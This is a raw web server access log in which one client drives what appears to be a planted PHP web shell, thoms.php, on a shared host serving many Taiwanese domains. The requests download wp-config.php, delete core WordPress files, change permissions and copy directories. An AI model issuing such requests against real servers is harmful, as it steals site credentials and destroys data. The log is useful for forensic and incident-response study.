45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?del=admin.php&p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?del=admin.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?del=.htaccess&p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=upgrade%2Fadmin.php&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fadmin.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=cgi-bin HTTP/1.1" 200 11310 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wp-content HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=upgrade HTTP/1.1" 200 11309 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17946 "https://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bfl.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:27 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?del=wp-admin&p=broadweb.com.tw HTTP/1.1" 200 17391 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17943 "https://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p= HTTP/1.1" 200 11801 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /broadweb.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?dl=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?p=broadweb.com.tw&view=xmlrpc.php HTTP/1.1" 200 13366 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?p=broadweb.com.tw&view=error_log HTTP/1.1" 200 14401 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?chmod=license.txt&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?dl=license.txt&p=broadweb.com.tw HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?dl=mah.php&p=broadweb.com.tw HTTP/1.1" 200 17393 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:28 -0400] "GET /thoms.php?dl=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?del=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 17391 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /broadweb.com.tw/upgrade/ HTTP/1.1" 200 6545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?chmod=upgrade&p=broadweb.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11802 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?dl=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 17384 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-load.php HTTP/1.1" 200 13668 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?del=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 17307 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /broadweb.com.tw/cgi-bin/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?del=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 17393 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /broadweb.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:29 -0400] "GET /thoms.php?chmod=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?del=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 17394 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?del=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?chmod=worker-profile&p=broadweb.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=worker-profile&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?dl=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 17385 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /broadweb.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-signup.php HTTP/1.1" 200 22509 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?del=.well-known&p=broadweb.com.tw HTTP/1.1" 200 17385 "http://163.245.207.76:443/thoms.php?del=.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /broadweb.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?chmod=wp-content&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /broadweb.com.tw/bridge-sample/ HTTP/1.1" 200 6346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "https://163.245.207.76/broadweb.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?chmod=mah.php&p=broadweb.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?del=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11809 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:30 -0400] "GET /thoms.php?del=worker-profile&p=broadweb.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?del=worker-profile&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?chmod=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?del=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /broadweb.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /broadweb.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?p=broadweb.com.tw&view=thoms.php HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?dl=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
